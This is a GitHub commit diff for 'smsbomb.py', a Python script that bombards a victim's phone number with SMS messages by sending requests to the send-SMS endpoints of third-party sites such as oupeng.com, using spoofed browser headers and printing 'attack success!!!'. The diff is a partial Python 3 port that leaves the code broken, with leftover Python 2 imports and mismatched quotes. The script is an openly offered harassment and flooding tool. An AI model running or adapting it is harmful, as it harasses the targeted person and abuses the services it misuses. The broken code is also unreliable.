Add files via upload

pull/4/head
InfoSec 2016-08-12 07:39:46 +08:00 committed by GitHub
parent 2784f0a934
commit 6dce3be923
1 changed files with 60 additions and 59 deletions

View File

@ -1,6 +1,6 @@
#!/usr/bin/python
#-*- coding: utf-8 -*-
#python2.7
#python3.5
#=====================================================================================================
#smsbomb.py
#author: ym2011
@ -13,14 +13,15 @@
try:
import sys
import os
import ssl
import urllib
import urllib2
import httplib
import re
import string
import cookielib
except:
print u '''
from http import cookies
except ValueError:
print (""""
运行出错:
以下的python 库尚未安装
@ -37,12 +38,12 @@ except:
或者使用以下方式
easy_install httplib2
'''
sys.exit(1)
"""")
sys.exit()
def oupeng(phone):
def oupeng(phone: object) -> object:
datas=""
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
@ -53,11 +54,12 @@ def oupeng(phone):
request=urllib2.Request(url=url,headers=i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print datas
print 'attack success!!!'
except Exception, e:
print e
print "attack failed!!!"
print (datas)
print ('attack success!!!')
except Exception as e:
print (e)
print("attack failed!!!")
def hongxiu(phone):
datas=""
@ -75,11 +77,11 @@ def hongxiu(phone):
request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print datas
print 'attack success!!!'
except Exception, e:
print e
print "attack failed!!!"
print (datas)
print ('attack success!!!')
except Exception:
print (Exception)
print ("attack failed!!!")
@ -93,4 +95,3 @@ if __name__=="__main__":